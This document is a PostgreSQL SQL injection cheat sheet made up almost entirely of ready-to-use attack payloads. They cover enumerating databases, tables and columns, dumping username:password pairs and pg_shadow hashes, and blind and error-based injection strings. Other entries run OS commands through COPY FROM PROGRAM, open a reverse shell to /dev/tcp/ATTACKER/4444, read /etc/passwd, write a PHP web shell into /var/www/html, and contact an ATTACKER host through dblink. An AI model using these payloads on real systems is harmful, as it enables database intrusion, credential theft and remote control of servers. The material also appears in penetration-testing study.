Cheat Sheet — PostgreSQL

SELECT version()
-- Comment: -- or /* */
-- String concat: 'a'||'b'

SELECT current_database()
SELECT current_user
SELECT session_user
SELECT current_schema()
SELECT inet_server_addr()
SELECT inet_server_port()

SELECT datname FROM pg_database
SELECT string_agg(datname,',') FROM pg_database

SELECT table_name FROM information_schema.tables WHERE table_schema='public'
SELECT string_agg(table_name,',') FROM information_schema.tables WHERE table_schema='public'
SELECT relname FROM pg_class WHERE relkind='r'

SELECT column_name FROM information_schema.columns WHERE table_name='users'
SELECT string_agg(column_name,',') FROM information_schema.columns WHERE table_name='users'

SELECT username||':'||password FROM users
SELECT string_agg(username||':'||password, ',') FROM users

CASE WHEN condition THEN true_val ELSE false_val END
SELECT (CASE WHEN 1=1 THEN 'true' ELSE 'false' END)

SELECT pg_sleep(5)
SELECT CASE WHEN 1=1 THEN pg_sleep(5) ELSE pg_sleep(0) END

CAST((QUERY) AS int)
-- Example:
' AND 1=CAST((SELECT current_database()) AS int)-- -

CREATE TABLE cmd(output text);
COPY cmd FROM PROGRAM 'id';
SELECT * FROM cmd;

COPY cmd FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"';

SELECT pg_read_file('/etc/passwd')
SELECT pg_read_file('/etc/passwd', 0, 1000)

-- Via COPY
CREATE TABLE tmp(data text);
COPY tmp FROM '/etc/passwd';
SELECT * FROM tmp;

COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php'

SELECT lo_import('/etc/passwd')                    -- Import to LOB
SELECT lo_get(OID)                                 -- Read LOB content
SELECT lo_export(OID, '/tmp/output')               -- Export LOB to file

SELECT usename, passwd FROM pg_shadow

'; CREATE TABLE cmd(output text); COPY cmd FROM PROGRAM 'id';-- -

CREATE EXTENSION dblink;
SELECT dblink_connect('host=ATTACKER dbname=x user=x');    -- OOB

SELECT current_setting('is_superuser')
SELECT rolsuper FROM pg_roles WHERE rolname=current_user